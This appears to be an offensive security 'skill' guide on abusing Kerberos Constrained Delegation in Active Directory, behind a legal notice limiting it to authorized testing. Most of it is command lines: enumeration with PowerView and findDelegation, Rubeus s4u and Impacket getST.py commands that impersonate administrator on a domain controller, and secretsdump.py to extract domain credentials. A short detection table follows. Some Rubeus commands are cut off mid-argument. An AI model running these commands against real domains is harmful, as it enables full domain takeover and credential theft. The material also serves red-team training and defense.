Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Kerberos Constrained Delegation (KCD) is a Windows Active Directory feature that allows a service to impersonate a user and access specific services on their behalf. The delegation targets are defined in the msDS-AllowedToDelegateTo attribute. When an attacker compromises an account configured with Constrained Delegation (particularly with the TRUSTEDTOAUTHFORDELEGATION flag), they can use the S4U2self and S4U2proxy Kerberos protocol extensions to request service tickets as any user (including Domain Admins) to the delegated services. If the delegation target includes services like CIFS, HTTP, or LDAP on a Domain Controller, this results in full domain compromise. The S4U2self extension requests a forwardable ticket on behalf of any user to the compromised service, and S4U2proxy forwards that ticket to the allowed delegation target.
```powershell
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo, userAccountControl
```
```bash
findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
```
```cypher
MATCH (c) WHERE c.allowedtodelegate IS NOT NULL
RETURN c.name, c.allowedtodelegate
```
```powershell
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, useraccountcontrol
```
```powershell
Rubeus.exe asktgt /user:svcsql /domain:domain.local /rc4:
Rubeus.exe s4u /ticket:
/msdsspn:CIFS/DC01.domain.local /ptt
Rubeus.exe s4u /ticket:
/msdsspn:CIFS/DC01.domain.local /altservice:LDAP /ptt
```
```powershell
Rubeus.exe s4u /user:svcsql /rc4:
/msdsspn:CIFS/DC01.domain.local /domain:domain.local /ptt
```
```bash
getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
-dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
-hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \
-dc-ip 10.10.10.1 domain.local/svc_sql
export KRB5CCNAME=administrator.ccache
smbclient.py -k -no-pass domain.local/administrator@DC01.domain.local
```
```bash
getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
-altservice LDAP/DC01.domain.local \
-dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local
```
```bash
getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
-dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
```
| Tool | Purpose | Platform |
|---|---|---|
| Rubeus | S4U Kerberos ticket manipulation | Windows (.NET) |
| getST.py | S4U service ticket requests (Impacket) | Linux (Python) |
| findDelegation.py | Delegation enumeration (Impacket) | Linux (Python) |
| PowerView | AD delegation enumeration | Windows (PowerShell) |
| BloodHound CE | Visual delegation path analysis | Docker |
| Kekeo | Advanced Kerberos toolkit | Windows |
| Type | Attribute | Scope | Attack Complexity |
|---|---|---|---|
| Unconstrained | TRUSTEDFORDELEGATION | Any service | Low (capture TGTs) |
| Constrained | msDS-AllowedToDelegateTo | Specific SPNs | Medium (S4U abuse) |
| Constrained + Protocol Transition | + TRUSTEDTOAUTHFORDELEGATION | Specific SPNs | Medium (no user auth needed) |
| Resource-Based (RBCD) | msDS-AllowedToActOnBehalfOfOtherIdentity | On target | Medium (writable attribute) |
| Indicator | Detection Method |
|---|---|
| S4U2self ticket requests | Event 4769 with unusual service and impersonation |
| S4U2proxy forwarded tickets | Event 4769 with delegation flags set |
| Alternate service name in ticket | Mismatch between requested SPN and actual service access |
| Rubeus.exe execution | EDR process detection, command-line logging |
| Delegation configuration changes | Event 5136 for msDS-AllowedToDelegateTo modifications |